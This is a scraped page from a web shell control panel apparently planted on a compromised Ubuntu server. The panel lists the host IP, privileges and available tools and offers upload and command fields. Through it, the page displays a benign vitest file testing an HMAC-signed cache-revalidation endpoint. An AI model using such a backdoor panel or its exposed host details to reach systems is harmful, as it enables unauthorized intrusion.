403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/codex/current/web/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/codex/current/web/tests/revalidate-route.test.ts
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { createHmac } from 'node:crypto';

// Mock next/cache so revalidateTag becomes a spy.
const revalidateTagMock = vi.fn();
vi.mock('next/cache', () => ({
    revalidateTag: (...args: unknown[]) => revalidateTagMock(...args),
}));

import { POST, GET } from '@/../app/api/revalidate/route';

const SECRET = 'unit-test-revalidate-secret';

function makeBody(tag: string, ts: number) {
    // BYTE-EXACT to match the Laravel-side json_encode with the same flags.
    return JSON.stringify({ tag, ts });
}

function sign(body: string, secret: string = SECRET) {
    return 'sha256=' + createHmac('sha256', secret).update(body).digest('hex');
}

function makeRequest(method: 'GET' | 'POST', body?: string, signature?: string): Request {
    const headers: Record<string, string> = {};
    if (body) {
        headers['Content-Type'] = 'application/json';
        headers['Content-Length'] = String(body.length);
    }
    if (signature) headers['X-Codex-Signature'] = signature;
    return new Request('http://localhost/api/revalidate', {
        method,
        headers,
        body: body ?? null,
    });
}

describe('/api/revalidate', () => {
    beforeEach(() => {
        process.env.CODEX_REVALIDATE_SECRETS = SECRET;
        revalidateTagMock.mockReset();
    });

    it('GET returns 405', async () => {
        const res = await GET();
        expect(res.status).toBe(405);
    });

    it('POST with no signature returns 401', async () => {
        const body = makeBody('codex:heatmap', Math.floor(Date.now() / 1000));
        const res = await POST(makeRequest('POST', body) as Parameters<typeof POST>[0]);
        expect(res.status).toBe(401);
    });

    it('POST with bad signature returns 401', async () => {
        const body = makeBody('codex:heatmap', Math.floor(Date.now() / 1000));
        const res = await POST(makeRequest('POST', body, 'sha256=deadbeef') as Parameters<typeof POST>[0]);
        expect(res.status).toBe(401);
    });

    it('POST with stale timestamp returns 400', async () => {
        const body = makeBody('codex:heatmap', 1_000_000); // far in the past
        const sig = sign(body);
        const res = await POST(makeRequest('POST', body, sig) as Parameters<typeof POST>[0]);
        expect(res.status).toBe(400);
    });

    it('POST with valid signature + fresh ts returns 204 + calls revalidateTag', async () => {
        const body = makeBody('codex:heatmap', Math.floor(Date.now() / 1000));
        const sig = sign(body);
        const res = await POST(makeRequest('POST', body, sig) as Parameters<typeof POST>[0]);
        expect(res.status).toBe(204);
        expect(revalidateTagMock).toHaveBeenCalledWith('codex:heatmap', {});
    });

    it('POST over 1 KB body cap returns 413', async () => {
        const padding = 'x'.repeat(1100);
        const body = JSON.stringify({ tag: 'codex:heatmap', ts: Math.floor(Date.now() / 1000), padding });
        const sig = sign(body);
        const res = await POST(makeRequest('POST', body, sig) as Parameters<typeof POST>[0]);
        expect(res.status).toBe(413);
    });

    it('no-flap rotation: accepts a signature from the SECOND secret in the list', async () => {
        const ts = Math.floor(Date.now() / 1000);
        const body = makeBody('codex:heatmap', ts);
        const oldSig = sign(body, 'old-secret');
        process.env.CODEX_REVALIDATE_SECRETS = 'new-secret,old-secret';

        const res = await POST(makeRequest('POST', body, oldSig) as Parameters<typeof POST>[0]);
        expect(res.status).toBe(204);
    });
});

Youez - 2016 - github.com/yon3zu
LinuXploit